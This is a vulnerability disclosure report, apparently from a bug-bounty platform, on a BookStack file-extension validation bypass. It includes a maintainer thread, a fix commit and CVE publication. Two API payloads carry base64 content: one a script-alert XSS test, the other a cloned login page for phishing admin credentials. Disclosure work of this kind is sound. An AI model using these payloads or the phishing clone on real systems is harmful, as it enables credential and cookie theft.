Unrestricted Upload of File with Dangerous Type in bookstackapp/bookstack

Valid

Reported on

Oct 26th 2021


Description

The image extension validation service for Base64 image extraction in new Bookstack version is flawed as it uses the vulnerable trim function. This allows attackers to upload malicious files with broken extension, such as pngr, and browsers will interpret broken extension hosted on the server as HTML.

Payload 1

POST /api/pages
{
    "book_id": 1,
    "name": "My API Page",
    "html": "<img src='data:image/pngr;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=='>",
    "tags": [
        {"name": "Category", "value": "Not Bad Content"},
        {"name": "Rating", "value": "Average"}
    ]
}

See that the file is stored on the server, an attacker can send this file to others to perform reflected XSS. The CSP does not help because CSP is on application layer and hence not applied to static files.

Payload 2

POST /api/pages
{
    "book_id": 1,
    "name": "My API Page",
    "html": "<img src='data:image/png0r;base64,PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuLUdCIgogICAgICBkaXI9Imx0ciIKICAgICAgY2xhc3M9IiI+CjxoZWFkPgogICAgPHRpdGxlPkJvb2tTdGFjazwvdGl0bGU+CgogICAgPCEtLSBNZXRhIC0tPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCI+CiAgICA8bWV0YSBuYW1lPSJ0b2tlbiIgY29udGVudD0icDRsb1BIWXl3Tnk3MXd0cU1OYU1Cb1JLMFYwVTBla1ZFVUVFRWZjUCI+CiAgICA8bWV0YSBuYW1lPSJiYXNlLXVybCIgY29udGVudD0iaHR0cDovLzEwLjAuMi4xNSI+CiAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CgogICAgPCEtLSBTb2NpYWwgQ2FyZHMgTWV0YSAtLT4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp0aXRsZSIgY29udGVudD0iQm9va1N0YWNrIj4KICAgIDxtZXRhIHByb3BlcnR5PSJvZzp1cmwiIGNvbnRlbnQ9Imh0dHA6Ly8xMC4wLjIuMTUvbG9naW4iPgogICAgCiAgICA8IS0tIFN0eWxlcyBhbmQgRm9udHMgLS0+CiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHA6Ly8xMC4wLjIuMTUvZGlzdC9zdHlsZXMuY3NzP3ZlcnNpb249djIxLjEwIj4KICAgIDxsaW5rIHJlbD0ic3R5bGVzaGVldCIgbWVkaWE9InByaW50IiBocmVmPSJodHRwOi8vMTAuMC4yLjE1L2Rpc3QvcHJpbnQtc3R5bGVzLmNzcz92ZXJzaW9uPXYyMS4xMCI+CgogICAgCiAgICA8IS0tIEN1c3RvbSBTdHlsZXMgJiBIZWFkIENvbnRlbnQgLS0+CiAgICA8c3R5bGUgaWQ9ImN1c3RvbS1zdHlsZXMiIGRhdGEtY29sb3I9IiMyMDZlYTciIGRhdGEtY29sb3ItbGlnaHQ9InJnYmEoMzIsMTEwLDE2NywwLjE1KSI+CiAgICA6cm9vdCB7CiAgICAgICAgLS1jb2xvci1wcmltYXJ5OiAjMjA2ZWE3OwogICAgICAgIC0tY29sb3ItcHJpbWFyeS1saWdodDogcmdiYSgzMiwxMTAsMTY3LDAuMTUpOwogICAgICAgIC0tY29sb3ItYm9va3NoZWxmOiAjYTk0NzQ3OwogICAgICAgIC0tY29sb3ItYm9vazogIzA3N2I3MDsKICAgICAgICAtLWNvbG9yLWNoYXB0ZXI6ICNhZjRkMGQ7CiAgICAgICAgLS1jb2xvci1wYWdlOiAjMjA2ZWE3OwogICAgICAgIC0tY29sb3ItcGFnZS1kcmFmdDogIzdlNTBiMTsKICAgIH0KPC9zdHlsZT4KICAgIAogICAgCiAgICA8IS0tIFRyYW5zbGF0aW9ucyBmb3IgSlMgLS0+CiAgICA8L2hlYWQ+Cjxib2R5IGNsYXNzPSIiPgoKICAgIDxhIGNsYXNzPSJweC1tIHB5LXMgc2tpcC10by1jb250ZW50LWxpbmsiIGhyZWY9IiNtYWluLWNvbnRlbnQiPlNraXAgdG8gbWFpbiBjb250ZW50PC9hPiAgICA8ZGl2IG5vdGlmaWNhdGlvbj0ic3VjY2VzcyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBkYXRhLWF1dG9oaWRlIGNsYXNzPSJwb3MiIHJvbGU9ImFsZXJ0IiA+CiAgICA8c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJjaGVjay1jaXJjbGUiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMiAyQzYuNDggMiAyIDYuNDggMiAxMnM0LjQ4IDEwIDEwIDEwIDEwLTQuNDggMTAtMTBTMTcuNTIgMiAxMiAyem0tMiAxNWwtNS01IDEuNDEtMS40MUwxMCAxNC4xN2w3LjU5LTcuNTlMMTkgOGwtOSA5eiIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+Cgo8ZGl2IG5vdGlmaWNhdGlvbj0id2FybmluZyIgc3R5bGU9ImRpc3BsYXk6IG5vbmU7IiBjbGFzcz0id2FybmluZyIgcm9sZT0iYWxlcnQiID4KICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImluZm8iIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMSAxN2gydi02aC0ydjZ6bTEtMTVDNi40OCAyIDIgNi40OCAyIDEyczQuNDggMTAgMTAgMTAgMTAtNC40OCAxMC0xMFMxNy41MiAyIDEyIDJ6bTAgMThjLTQuNDEgMC04LTMuNTktOC04czMuNTktOCA4LTggOCAzLjU5IDggOC0zLjU5IDgtOCA4ek0xMSA5aDJWN2gtMnYyeiIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+Cgo8ZGl2IG5vdGlmaWNhdGlvbj0iZXJyb3IiIHN0eWxlPSJkaXNwbGF5OiBub25lOyIgY2xhc3M9Im5lZyIgcm9sZT0iYWxlcnQiID4KICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImRhbmdlciIgcm9sZT0icHJlc2VudGF0aW9uIiAgdmlld0JveD0iMCAwIDI0IDI0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHBhdGggZD0iTTE1LjczIDNIOC4yN0wzIDguMjd2Ny40Nkw4LjI3IDIxaDcuNDZMMjEgMTUuNzNWOC4yN0wxNS43MyAzek0xMiAxNy4zYy0uNzIgMC0xLjMtLjU4LTEuMy0xLjMgMC0uNzIuNTgtMS4zIDEuMy0xLjMuNzIgMCAxLjMuNTggMS4zIDEuMyAwIC43Mi0uNTggMS4zLTEuMyAxLjN6bTEtNC4zaC0yVjdoMnY2eiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz4gPHNwYW4+PC9zcGFuPjxkaXYgY2xhc3M9ImRpc21pc3MiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNsb3NlIiByb2xlPSJwcmVzZW50YXRpb24iICB2aWV3Qm94PSIwIDAgMjQgMjQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyI+CiAgICA8cGF0aCBkPSJNMTkgNi40MUwxNy41OSA1IDEyIDEwLjU5IDYuNDEgNSA1IDYuNDEgMTAuNTkgMTIgNSAxNy41OSA2LjQxIDE5IDEyIDEzLjQxIDE3LjU5IDE5IDE5IDE3LjU5IDEzLjQxIDEyeiIvPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgo8L3N2Zz48L2Rpdj4KPC9kaXY+CiAgICA8aGVhZGVyIGlkPSJoZWFkZXIiIGNvbXBvbmVudD0iaGVhZGVyLW1vYmlsZS10b2dnbGUiIGNsYXNzPSJwcmltYXJ5LWJhY2tncm91bmQiPgogICAgPGRpdiBjbGFzcz0iZ3JpZCBteC1sIj4KCiAgICAgICAgPGRpdj4KICAgICAgICAgICAgPGEgaHJlZj0iaHR0cDovLzEwLjAuMi4xNSIgY2xhc3M9ImxvZ28iPgogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW1nIGNsYXNzPSJsb2dvLWltYWdlIiBzcmM9Imh0dHA6Ly8xMC4wLjIuMTUvbG9nby5wbmciIGFsdD0iTG9nbyI+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8c3BhbiBjbGFzcz0ibG9nby10ZXh0Ij5Cb29rU3RhY2s8L3NwYW4+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2E+CiAgICAgICAgICAgIDxidXR0b24gdHlwZT0iYnV0dG9uIgogICAgICAgICAgICAgICAgICAgIHJlZnM9ImhlYWRlci1tb2JpbGUtdG9nZ2xlQHRvZ2dsZSIKICAgICAgICAgICAgICAgICAgICB0aXRsZT0iRXhwYW5kIEhlYWRlciBNZW51IgogICAgICAgICAgICAgICAgICAgIGFyaWEtZXhwYW5kZWQ9ImZhbHNlIgogICAgICAgICAgICAgICAgICAgIGNsYXNzPSJtb2JpbGUtbWVudS10b2dnbGUgaGlkZS1vdmVyLWwiPjxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249Im1vcmUiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KICAgIDxwYXRoIGQ9Ik0xMiA4YzEuMSAwIDItLjkgMi0ycy0uOS0yLTItMi0yIC45LTIgMiAuOSAyIDIgMnptMCAyYy0xLjEgMC0yIC45LTIgMnMuOSAyIDIgMiAyLS45IDItMi0uOS0yLTItMnptMCA2Yy0xLjEgMC0yIC45LTIgMnMuOSAyIDIgMiAyLS45IDItMi0uOS0yLTItMnoiLz4KPC9zdmc+PC9idXR0b24+CiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImZsZXgtY29udGFpbmVyLXJvdyBqdXN0aWZ5LWNlbnRlciBoaWRlLXVuZGVyLWwiPgogICAgICAgICAgICAgICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJ0ZXh0LXJpZ2h0Ij4KICAgICAgICAgICAgPG5hdiByZWZzPSJoZWFkZXItbW9iaWxlLXRvZ2dsZUBtZW51IiBjbGFzcz0iaGVhZGVyLWxpbmtzIj4KICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9ImxpbmtzIHRleHQtY2VudGVyIj4KICAgICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPSJodHRwOi8vMTAuMC4yLjE1L2xvZ2luIj48c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJsb2dpbiIgcm9sZT0icHJlc2VudGF0aW9uIiAgdmlld0JveD0iMCAwIDI0IDI0IiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPgogICAgPHBhdGggZD0iTTAgMGgyNHYyNEgweiIgZmlsbD0ibm9uZSIvPgogICAgPHBhdGggZD0iTTIxIDMuMDFIM2MtMS4xIDAtMiAuOS0yIDJWOWgyVjQuOTloMTh2MTQuMDNIM1YxNUgxdjQuMDFjMCAxLjEuOSAxLjk4IDIgMS45OGgxOGMxLjEgMCAyLS44OCAyLTEuOTh2LTE0YzAtMS4xMS0uOS0yLTItMnpNMTEgMTZsNC00LTQtNHYzSDF2MmgxMHYzeiIvPgo8L3N2Zz5Mb2cgaW48L2E+CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPC9uYXY+CiAgICAgICAgPC9kaXY+CgogICAgPC9kaXY+CjwvaGVhZGVyPgoKICAgIDxkaXYgaWQ9ImNvbnRlbnQiIGNvbXBvbmVudHM9IiIgY2xhc3M9ImJsb2NrIj4KICAgICAgICAKICAgIDxkaXYgY2xhc3M9ImNvbnRhaW5lciB2ZXJ5LXNtYWxsIj4KCiAgICAgICAgPGRpdiBjbGFzcz0ibXktbCI+Jm5ic3A7PC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9ImNhcmQgY29udGVudC13cmFwIGF1dG8taGVpZ2h0Ij4KICAgICAgICAgICAgPGgxIGNsYXNzPSJsaXN0LWhlYWRpbmciPkxvZyBJbjwvaDE+CgogICAgICAgICAgICA8Zm9ybSBhY3Rpb249Imh0dHA6Ly8xMC4wLjIuMTUvbG9naW4iIG1ldGhvZD0iUE9TVCIgaWQ9ImxvZ2luLWZvcm0iIGNsYXNzPSJtdC1sIj4KICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Il90b2tlbiIgdmFsdWU9InA0bG9QSFl5d055NzF3dHFNTmFNQm9SSzBWMFUwZWtWRVVFRUVmY1AiPgoKICAgIDxkaXYgY2xhc3M9InN0cmV0Y2gtaW5wdXRzIj4KICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0iZW1haWwiPkVtYWlsPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGlkPSJlbWFpbCIgbmFtZT0iZW1haWwiCiAgICAgICAgICAgICAgICAgICAgICBhdXRvZm9jdXMgICAgICAgICAgICAgICAgICAgICAgPgogICAgICAgIDwvZGl2PgoKICAgICAgICA8ZGl2IGNsYXNzPSJmb3JtLWdyb3VwIj4KICAgICAgICAgICAgPGxhYmVsIGZvcj0icGFzc3dvcmQiPlBhc3N3b3JkPC9sYWJlbD4KICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBpZD0icGFzc3dvcmQiIG5hbWU9InBhc3N3b3JkIgogICAgICAgICAgICAgICAgICAgICAgICAgICAgPgogICAgICAgICAgICA8ZGl2IGNsYXNzPSJzbWFsbCBtdC1zIj4KICAgICAgICAgICAgICAgIDxhIGhyZWY9Imh0dHA6Ly8xMC4wLjIuMTUvcGFzc3dvcmQvZW1haWwiPkZvcmdvdCBQYXNzd29yZD88L2E+CiAgICAgICAgICAgIDwvZGl2PgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPGRpdiBjbGFzcz0iZ3JpZCBoYWxmIGNvbGxhcHNlLXhzIGdhcC14bCB2LWNlbnRlciI+CiAgICAgICAgPGRpdiBjbGFzcz0idGV4dC1sZWZ0IG1sLXh4cyI+CiAgICAgICAgICAgIDxsYWJlbCBjdXN0b20tY2hlY2tib3ggY2xhc3M9InRvZ2dsZS1zd2l0Y2ggIj4KICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icmVtZW1iZXIiIHZhbHVlPSJvbiIgPgogICAgPHNwYW4gdGFiaW5kZXg9IjAiIHJvbGU9ImNoZWNrYm94IgogICAgICAgICAgYXJpYS1jaGVja2VkPSJmYWxzZSIKICAgICAgICAgIGNsYXNzPSJjdXN0b20tY2hlY2tib3ggdGV4dC1wcmltYXJ5Ij48c3ZnIGNsYXNzPSJzdmctaWNvbiIgZGF0YS1pY29uPSJjaGVjayIgcm9sZT0icHJlc2VudGF0aW9uIiAgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB2aWV3Qm94PSIwIDAgMjQgMjQiPjxwYXRoIGQ9Ik0xOC44NiA0LjExOGwtOS43MzMgOS42MDktMy45NTEtMy45OTUtMi45OCAyLjk2NiA2LjkzIDcuMTg0TDIxLjgwNSA3LjIxN3oiLz48L3N2Zz48L3NwYW4+CiAgICA8c3BhbiBjbGFzcz0ibGFiZWwiPlJlbWVtYmVyIE1lPC9zcGFuPgo8L2xhYmVsPiAgICAgICAgPC9kaXY+CgogICAgICAgIDxkaXYgY2xhc3M9InRleHQtcmlnaHQiPgogICAgICAgICAgICA8YnV0dG9uIGNsYXNzPSJidXR0b24iPkxvZyBJbjwvYnV0dG9uPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+Cgo8L2Zvcm0+CgoKCiAgICAgICAgICAgIAogICAgICAgICAgICAgICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgPC9kaXY+CgogICAgCiAgICA8ZGl2IGJhY2stdG8tdG9wIGNsYXNzPSJwcmltYXJ5LWJhY2tncm91bmQgcHJpbnQtaGlkZGVuIj4KICAgICAgICA8ZGl2IGNsYXNzPSJpbm5lciI+CiAgICAgICAgICAgIDxzdmcgY2xhc3M9InN2Zy1pY29uIiBkYXRhLWljb249ImNoZXZyb24tdXAiIHJvbGU9InByZXNlbnRhdGlvbiIgIHZpZXdCb3g9IjAgMCAyNCAyNCIgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIj4KICAgIDxwYXRoIGQ9Ik03LjQxIDE1LjQxTDEyIDEwLjgzbDQuNTkgNC41OEwxOCAxNGwtNi02LTYgNnoiLz4KICAgIDxwYXRoIGQ9Ik0wIDBoMjR2MjRIMHoiIGZpbGw9Im5vbmUiLz4KPC9zdmc+IDxzcGFuPkJhY2sgdG8gdG9wPC9zcGFuPgogICAgICAgIDwvZGl2PgogICAgPC9kaXY+CgogICAgICAgIDxzY3JpcHQgc3JjPSJodHRwOi8vMTAuMC4yLjE1L2Rpc3QvYXBwLmpzP3ZlcnNpb249djIxLjEwIiBub25jZT0ielZJQ005ZGYxM203NERHOUFjenVGQ1NkIj48L3NjcmlwdD4KICAgIAo8L2JvZHk+CjwvaHRtbD4K'>",
    "tags": [
        {"name": "Category", "value": "Not Bad Content"},
        {"name": "Rating", "value": "Average"}
    ]
}

This creates a phishing page on the server, we can modify where the credentials are sent to if we want

Root Cause

There is a subtle difference between single-quoted strings (literals) and double-quoted strings. In double-quoted strings \r\n will be interpreted as carriage-return and newline, but in single-quoted literals the characters will be interpreted as-is. Bookstack uses the trim function with only single-quoted string, so attackers can bypass the file validation check.

in_array(trim($extension, '. \t\n\r\0\x0B'), static::$supportedExtensions);

So if the $extension = pngr, then the trim function will strip the 'r' character so that it becomes png and thus gets validated.

Impact

An attacker with page edit permissions can upload files to:

1: Host phishing pages and obtain password of admin users

2: Javascript execution (XSS) to get the cookie.

We have contacted a member of the bookstackapp/bookstack team and are waiting to hear back a year ago
haxatron submitted a
a year ago
haxatron
a year ago

Researcher


fix located here: https://github.com/Haxatron/BookStack/commit/64937ab826b56d086af9ecea532510d37520ebc8

haxatron modified the report
a year ago
haxatron modified the report
a year ago
haxatron modified the report
a year ago
Dan Brown validated this vulnerability a year ago
haxatron has been awarded the disclosure bounty
The fix bounty is now up for grabs
Dan Brown
a year ago

Thanks once again @haxatron. Good spot, That's what I get for paying more attention to syntax standards.

Fix looks good of course, will confirm that off when ready to deploy the update with the fix. Just want to keep it relatively private until then.

haxatron
a year ago

Researcher


No problem! Thanks for reviewing this report!

Dan Brown confirmed that a fix has been merged on 64937a a year ago
haxatron has been awarded the fix bounty
ImageRepo.php#L41 has been validated
Jamie Slome
a year ago

Admin


CVE published! 🎊

to join this conversation